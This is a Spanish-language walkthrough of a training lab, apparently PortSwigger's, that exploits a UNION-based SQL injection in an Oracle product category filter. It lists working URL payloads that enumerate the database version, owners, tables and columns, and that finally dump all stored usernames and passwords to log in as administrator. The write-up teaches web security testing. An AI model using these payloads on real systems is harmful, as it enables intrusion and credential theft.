SQLI Lab 6
Skills
- SQL injection attack, listing the database contents on Oracle
Certificaciones
- eWPT
- eWPTXv2
- OSWE
- BSCP
Descripción
Este laboratorio contiene una vulnerabilidad
de inyección SQL
en el filtro
de categoría
de productos. Los resultados de la consulta se devuelven en la respuesta de la aplicación, por lo que hay que usar un ataque UNION
para recuperar datos de otras tablas
. La aplicación tiene una función
de inicio
de sesión
, y la base
de datos
contiene una tabla
que almacena nombres
de usuario
y contraseñas
. Determinamos el nombre
de esta tabla
y las columnas
que contiene, luego recuperamos
el contenido
de la tabla
para obtener el nombre
de usuario
y la contraseña
de todos los usuarios
Resolución
Al acceder
a la web
nos sale esto
Si hacemos click
en alguno de los filtros
, nos filtrará los artículos por esta categoría
Capturamos
la petición
con Burpsuite
y añadimos
una comilla
simple '
Si enviamos esta petición nos devolverá un Internal Server Error
, lo cual quiere decir que estamos interfiriendo
con la consulta SQL
que se está produciendo
Si usamos este payload
mediante el cual añadimos una comparación que siempre
es verdad
como 1=1
, ignoramos el resto de la consulta SQL con -- -
y enviamos la petición nuevamente no obtenemos ningún fallo, lo que quiere decir que la inyección SQL
ha sido exitosa
1
/filter?category=Lifestyle'+or+1=1--+-+
Usando order by
podemos saber el número
de columnas
que tiene la tabla
, empleando este payload
el resultado es un 200 OK
1
/filter?category=Lifestyle'+order+by+2--+-+
Sin embargo, si empleamos este otro payload
donde hacemos order by 3
, nos devuelve un Internal Server Error
, esto se debe a que al no existir tres columnas nos arroja un fallo
1
/filter?category=Lifestyle'+order+by+3--+-+
Una vez sabemos el número de columnas, usando union select
vamos a obtener la información, en este caso, usamos from dual
debido a que estamos ante una base de datos Oracle
1
/filter?category=Lifestyle'+union+select+null,null+from+dual--+-+
Confirmamos la base
de datos
en uso y también el su versión
1
/filter?category=Lifestyle'+union+select+null,banner+from+v$version--+-+
Listamos
el nombre
de todos los propietarios
1
/filter?category=Lifestyle'+union+select+null,owner+from+all_tables--+-+
Listamos
el nombre
de la base
de datos
en uso
1
/filter?category=Lifestyle'+union+select+null,global_name+from+global_name--+-+
Listamos
las tablas
cuyo propietario
es PETER
1
/filter?category=Lifestyle'+union+select+null,table_name+from+all_tables+where+owner='PETER'--+-+
Listamos
las columnas
de la tabla USERS_NWMYAE
1
/filter?category=Lifestyle'+union+select+null,column_name+from+all_tab_columns+where+table_name='USERS_NWMYAE'--+-+
Obtenemos
el contenido de las columnas PASSWORD_NDAIAQ
y USERNAME_SDYBVL
1
/filter?category=Lifestyle'+union+select+PASSWORD_NDAIAQ,USERNAME_SDYBVL+from+USERS_NWMYAE--+-+
Una vez obtenida la contraseña del usuario administrator
podemos loguearnos